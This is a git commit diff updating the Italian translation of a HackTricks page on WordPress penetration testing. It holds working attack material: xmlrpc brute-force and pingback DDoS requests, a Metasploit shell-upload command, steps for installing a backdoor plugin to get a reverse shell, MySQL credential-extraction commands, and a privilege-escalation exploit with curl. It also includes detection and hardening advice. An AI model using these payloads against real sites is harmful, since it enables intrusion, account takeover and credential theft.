mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
		
							parent
							
								
									8699af5817
								
							
						
					
					
						commit
						6e6c817db8
					
				@ -99,7 +99,7 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
 | 
				
			|||||||
```bash
 | 
					```bash
 | 
				
			||||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 | 
					curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Solo le informazioni sugli utenti che hanno abilitato questa funzione saranno fornite**.
 | 
					Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Saranno fornite solo informazioni sugli utenti che hanno abilitato questa funzione**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
 | 
					Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -134,11 +134,11 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
 | 
					Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 | 
					 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Utilizzando le credenziali corrette, puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 | 
					Utilizzando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
<?xml version='1.0' encoding='utf-8'?>
 | 
					<?xml version='1.0' encoding='utf-8'?>
 | 
				
			||||||
<methodCall>
 | 
					<methodCall>
 | 
				
			||||||
@ -174,11 +174,11 @@ C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`sys
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
**Bypass 2FA**
 | 
					**Bypass 2FA**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Questo metodo è destinato ai programmi e non agli esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
 | 
					Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**DDoS o scansione delle porte**
 | 
					**DDoS o scansione delle porte**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
 | 
					Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
 | 
				
			||||||
Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
 | 
					Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
<methodCall>
 | 
					<methodCall>
 | 
				
			||||||
@ -211,7 +211,7 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
 | 
					Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
 | 
				
			||||||
Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
 | 
					Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
 | 
				
			||||||
Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
 | 
					Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una qualsiasi pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
 | 
					Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -262,14 +262,14 @@ Puoi usare:
 | 
				
			|||||||
```bash
 | 
					```bash
 | 
				
			||||||
use exploit/unix/webapp/wp_admin_shell_upload
 | 
					use exploit/unix/webapp/wp_admin_shell_upload
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
to get a session.
 | 
					per ottenere una sessione.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Plugin RCE
 | 
					## Plugin RCE
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### PHP plugin
 | 
					### Plugin PHP
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Potrebbe essere possibile caricare file .php come plugin.\
 | 
					Potrebbe essere possibile caricare file .php come plugin.\
 | 
				
			||||||
Crea il tuo backdoor php usando ad esempio:
 | 
					Crea il tuo backdoor php utilizzando ad esempio:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -281,7 +281,7 @@ Carica il plugin e premi Installa ora:
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Clicca su Prosegui:
 | 
					Clicca su Procedi:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -293,34 +293,34 @@ Accedila e vedrai l'URL per eseguire la reverse shell:
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Uploading and activating malicious plugin
 | 
					### Caricamento e attivazione di un plugin malevolo
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
 | 
					Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
 | 
					1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
 | 
				
			||||||
2. **Plugin Installation**:
 | 
					2. **Installazione del Plugin**:
 | 
				
			||||||
- Naviga nella dashboard di WordPress, poi vai su `Dashboard > Plugins > Upload Plugin`.
 | 
					- Naviga nella dashboard di WordPress, poi vai su `Dashboard > Plugins > Upload Plugin`.
 | 
				
			||||||
- Carica il file zip del plugin scaricato.
 | 
					- Carica il file zip del plugin scaricato.
 | 
				
			||||||
3. **Plugin Activation**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
 | 
					3. **Attivazione del Plugin**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
 | 
				
			||||||
4. **Exploitation**:
 | 
					4. **Sfruttamento**:
 | 
				
			||||||
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
 | 
					- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
 | 
				
			||||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
 | 
					- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
 | 
				
			||||||
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
 | 
					- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
 | 
					Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il pentesting con permesso esplicito.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 | 
					**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## From XSS to RCE
 | 
					## Da XSS a RCE
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una **vulnerabilità Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
 | 
					- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X. e consente di:**
 | 
				
			||||||
- _**Privilege Escalation:**_ Crea un utente in WordPress.
 | 
					- _**Elevazione dei privilegi:**_ Crea un utente in WordPress.
 | 
				
			||||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
 | 
					- _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
 | 
				
			||||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica un plugin integrato in WordPress.
 | 
					- _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress.
 | 
				
			||||||
- _**(RCE) Built-In Theme Edit:**_ Modifica un tema integrato in WordPress.
 | 
					- _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress.
 | 
				
			||||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/temi di terze parti di WordPress.
 | 
					- _**(Personalizzato) Exploits Personalizzati:**_ Exploits Personalizzati per Plugin/Temi di Terze Parti di WordPress.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Post Exploitation
 | 
					## Post Sfruttamento
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Estrai nomi utente e password:
 | 
					Estrai nomi utente e password:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
@ -334,11 +334,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Superficie di Attacco
 | 
					### Superficie di Attacco
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
 | 
					Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi scoprire come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- **`wp_ajax`**
 | 
					- **`wp_ajax`**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
 | 
					Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di Wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
 | 
					Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
 | 
				
			||||||
```php
 | 
					```php
 | 
				
			||||||
@ -372,7 +372,7 @@ Certo, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Cancellazione Arbitraria di File Non Autenticata tramite wp_ajax_nopriv (Tema Litho <= 3.0)
 | 
					### Cancellazione Arbitraria di File Non Autenticata tramite wp_ajax_nopriv (Tema Litho <= 3.0)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
I temi e i plugin di WordPress espongono frequentemente gestori AJAX attraverso i ganci `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene utilizzata la variante **_nopriv_**, **il callback diventa accessibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
 | 
					I temi e i plugin di WordPress espongono frequentemente gestori AJAX attraverso i ganci `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene utilizzata la variante **_nopriv_**, **il callback diventa accessibile ai visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. Un **controllo delle capacità** (ad es. `current_user_can()` o almeno `is_user_logged_in()`), e
 | 
					1. Un **controllo delle capacità** (ad es. `current_user_can()` o almeno `is_user_logged_in()`), e
 | 
				
			||||||
2. Un **nonce CSRF** convalidato con `check_ajax_referer()` / `wp_verify_nonce()`, e
 | 
					2. Un **nonce CSRF** convalidato con `check_ajax_referer()` / `wp_verify_nonce()`, e
 | 
				
			||||||
@ -446,9 +446,73 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Escalation dei privilegi tramite ripristino di ruolo obsoleto e autorizzazione mancante (ASE "Visualizza Admin come Ruolo")
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Molti plugin implementano una funzione "visualizza come ruolo" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali nei meta utente in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (ad es., `$_REQUEST['reset-for']`) e su un elenco mantenuto dal plugin senza controllare le capacità e un nonce valido, questo diventa un'escalation verticale dei privilegi.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Un esempio del mondo reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di ripristino ripristinava i ruoli basati su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati dai meta utente `_asenha_view_admin_as_original_roles`:
 | 
				
			||||||
 | 
					```php
 | 
				
			||||||
 | 
					// Simplified vulnerable pattern
 | 
				
			||||||
 | 
					if ( isset( $_REQUEST['reset-for'] ) ) {
 | 
				
			||||||
 | 
					$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
 | 
				
			||||||
 | 
					$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					if ( in_array( $reset_for_username, $usernames, true ) ) {
 | 
				
			||||||
 | 
					$u = get_user_by( 'login', $reset_for_username );
 | 
				
			||||||
 | 
					foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
 | 
				
			||||||
 | 
					$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
 | 
				
			||||||
 | 
					foreach ( $orig as $r ) { $u->add_role( $r ); }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Perché è sfruttabile
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
 | 
				
			||||||
 | 
					- Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e è stato declassato, può ripristinarli accedendo al percorso di reset.
 | 
				
			||||||
 | 
					- In alcune implementazioni, qualsiasi utente autenticato potrebbe attivare un reset per un altro nome utente ancora presente in `viewing_admin_as_role_are` (autorizzazione compromessa).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Prerequisiti per l'attacco
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- Versione vulnerabile del plugin con la funzione abilitata.
 | 
				
			||||||
 | 
					- L'account target ha un ruolo di alta privilegio obsoleto memorizzato nei meta utente da un uso precedente.
 | 
				
			||||||
 | 
					- Qualsiasi sessione autenticata; nonce/capacità mancanti nel flusso di reset.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Sfruttamento (esempio)
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					# While logged in as the downgraded user (or any auth user able to trigger the code path),
 | 
				
			||||||
 | 
					# hit any route that executes the role-switcher logic and include the reset parameter.
 | 
				
			||||||
 | 
					# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
 | 
				
			||||||
 | 
					curl -s -k -b 'wordpress_logged_in=...' \
 | 
				
			||||||
 | 
					'https://victim.example/wp-admin/?reset-for=<your_username>'
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Su build vulnerabili, questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (ad es., `administrator`), aumentando effettivamente i privilegi.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Checklist di rilevamento
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- Cerca funzionalità di cambio ruolo che persistono “ruoli originali” nei meta utente (ad es., `_asenha_view_admin_as_original_roles`).
 | 
				
			||||||
 | 
					- Identifica percorsi di reset/ripristino che:
 | 
				
			||||||
 | 
					  - Leggono i nomi utente da `$_REQUEST` / `$_GET` / `$_POST`.
 | 
				
			||||||
 | 
					  - Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
 | 
				
			||||||
 | 
					  - Autorizzano in base a un array di opzioni del plugin (ad es., `viewing_admin_as_role_are`) invece delle capacità dell'attore.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Rinforzo
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- Applica controlli di capacità su ogni ramo che modifica lo stato (ad es., `current_user_can('manage_options')` o più rigoroso).
 | 
				
			||||||
 | 
					- Richiedi nonce per tutte le mutazioni di ruolo/permissi e verifiche: `check_admin_referer()` / `wp_verify_nonce()`.
 | 
				
			||||||
 | 
					- Non fidarti mai dei nomi utente forniti nella richiesta; risolvi l'utente target lato server in base all'attore autenticato e a una politica esplicita.
 | 
				
			||||||
 | 
					- Invalidare lo stato dei “ruoli originali” sugli aggiornamenti del profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
 | 
				
			||||||
 | 
					```php
 | 
				
			||||||
 | 
					add_action( 'profile_update', function( $user_id ) {
 | 
				
			||||||
 | 
					delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
 | 
				
			||||||
 | 
					}, 10, 1 );
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					- Considera di memorizzare uno stato minimo e di utilizzare token temporanei con capacità limitate per passaggi di ruolo temporanei.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Protezione di WordPress
 | 
					## Protezione di WordPress
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Aggiornamenti regolari
 | 
					### Aggiornamenti Regolari
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
 | 
					Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
@ -456,7 +520,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
 | 
				
			|||||||
add_filter( 'auto_update_plugin', '__return_true' );
 | 
					add_filter( 'auto_update_plugin', '__return_true' );
 | 
				
			||||||
add_filter( 'auto_update_theme', '__return_true' );
 | 
					add_filter( 'auto_update_theme', '__return_true' );
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Also, **installa solo plugin e temi WordPress affidabili**.
 | 
					Anche, **installa solo plugin e temi WordPress affidabili**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Plugin di Sicurezza
 | 
					### Plugin di Sicurezza
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -516,7 +580,7 @@ $file = $path . '/' . $file_name;
 | 
				
			|||||||
...
 | 
					...
 | 
				
			||||||
echo $wp_filesystem->get_contents($file); // raw file output
 | 
					echo $wp_filesystem->get_contents($file); // raw file output
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina del curriculum.
 | 
					`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina di resume.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### Sfruttamento
 | 
					#### Sfruttamento
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
@ -531,7 +595,9 @@ Il server risponde con i contenuti di `wp-config.php`, rivelando le credenziali
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Riferimenti
 | 
					## Riferimenti
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [Vulnerabilità di Cancellazione Arbitraria di File Non Autenticata nel Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
 | 
					- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
 | 
				
			||||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
 | 
					- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
 | 
				
			||||||
 | 
					- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
 | 
				
			||||||
 | 
					- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user